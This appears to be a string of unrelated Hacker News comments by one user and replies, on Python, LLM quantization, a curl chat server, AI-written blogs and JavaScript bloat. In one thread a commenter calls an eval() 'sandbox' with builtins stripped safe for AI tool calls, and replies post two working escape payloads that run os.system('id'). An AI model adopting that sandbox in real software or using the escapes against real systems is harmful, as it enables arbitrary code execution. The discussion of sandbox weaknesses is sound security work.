I think py version can be shortened as:

from collections import Counter

stats = Counter(x.strip() for l in open(sys.argv[1]) for x in l)

Would that decrease memory usage though?

see https://news.ycombinator.com/item?id=47543756

> I am confused what actually happens in the vectorized ADD and MULT instructions in the GPU with these quantized numbers.

I might be wrong, but I think LLM is all about comparing distance between tokens. You can tell that -255 and +255 are very separated, but you are also away that -8 and +8 are also very far away.

Microsoft Bitnet and Google TurboQuant shows that in extreme you can use just -1, 0, +1

I ended up vibe an ACME client for my custom TLS server.

It's a chat server but with curl. You can try it here

curl -NT. https://chat.est.im/hackernews

(Note: IPv6 only for the moment)

> Car Wash Test

I think the "car wash" is more about semantics.

https://opper.ai/ai-roundtable/questions/i-parked-my-car-at-...

home appliances have lower voltage, like 12V or 5V. The wire loss and heat would be a problem.

> bridge to wealth

Not only wealth, many human beings will be "sterilized" by social networks and AI.

The "bridge" and another name in biology: cellular differentiation

Imagine every human individual is a cell. Every cell had all the equal potentials, we were all stem cells until the year 2026.

The whole world is now turning into a multi-cell organism connected by business, information and AI.

Many of us may turn into somatic cells one way or another.

Which kind of cell lives better? I wrote a blog in Chinese on this https://blog.est.im/2026/stdin-03

slightly related, if you need a safe python sandbox instead of eval(), you can try

eval(YOUR_CODE.replace('__', ''), {'__builtins__': None}, {})

I saw this trick on reddit many years ago and wrote a blog last month https://blog.est.im/2026/stdout-09

I wasn't able to crack this sandbox, and neither could opus-4.6-thinking.

This sandbox won't protect you from DoS, but I think it's reasonably safe to use it for AI tool calls. Just expose your MCP/RPC methods in the last {} and you are good.

You can bypass this with unicode:

eval('[c._﹍init﹍_._﹍globals﹍_["os"].system("id") for c in ()._﹍class﹍_._﹍bases﹍_[0]._﹍subclasses﹍_() if c._﹍init﹍_._﹍class﹍_._﹍name﹍_ == "function" and "os" in c._﹍init﹍_._﹍globals﹍_]'.replace('__', ''), {'__builtins__': None}, {})

You can do it without unicode, too:

eval("(L:=[None],g:=(x.gi_frame.f_back.f_back.f_builtins for x in L),L.clear(),L.append(g),bi:=g.send(None),bi['_'+'_import_'+'_']('os').system('id'))".replace('__', ''), {'__builtins__': None}, {})

damn you are good. Is this a new py3 thing?

I must missed lots of CTF lessons.

How about adding another .replace('﹍','').replace('gi_frame', '') ?

> AI tends to accept conventional wisdom

I wrote an article on that: Hard Things in Computer Science

https://blog.est.im/2026/stderr-04

https://news.ycombinator.com/item?id=46669591

Did you write it or did an LLM?

I find some irony in seeing the telltale tropes of conventional LLM writing there

I did put a note at the end.

The original post in Chinese was handwritten

https://blog.est.im/2026/stderr-03

the English translation was compiled by gemini3.

More like a nodejs bloat rather than JS bloat.

For personal objects I always prompt the AI to write JS directly, never introduce nodejs stack unless absolutely have to.

Turns out you don't always need Nodejs/Reactto make a functional SPA.

You’ve traded supply chain vulnerability for slop vulnerability.

Except your supply chain could also be slop and you have no idea (unless you’re auditing your dependencies, right?).

I’d take vibe coded vanilla js slop over npm dependency hell every day of the week.

China subsidizes Tesla and European EVs as well.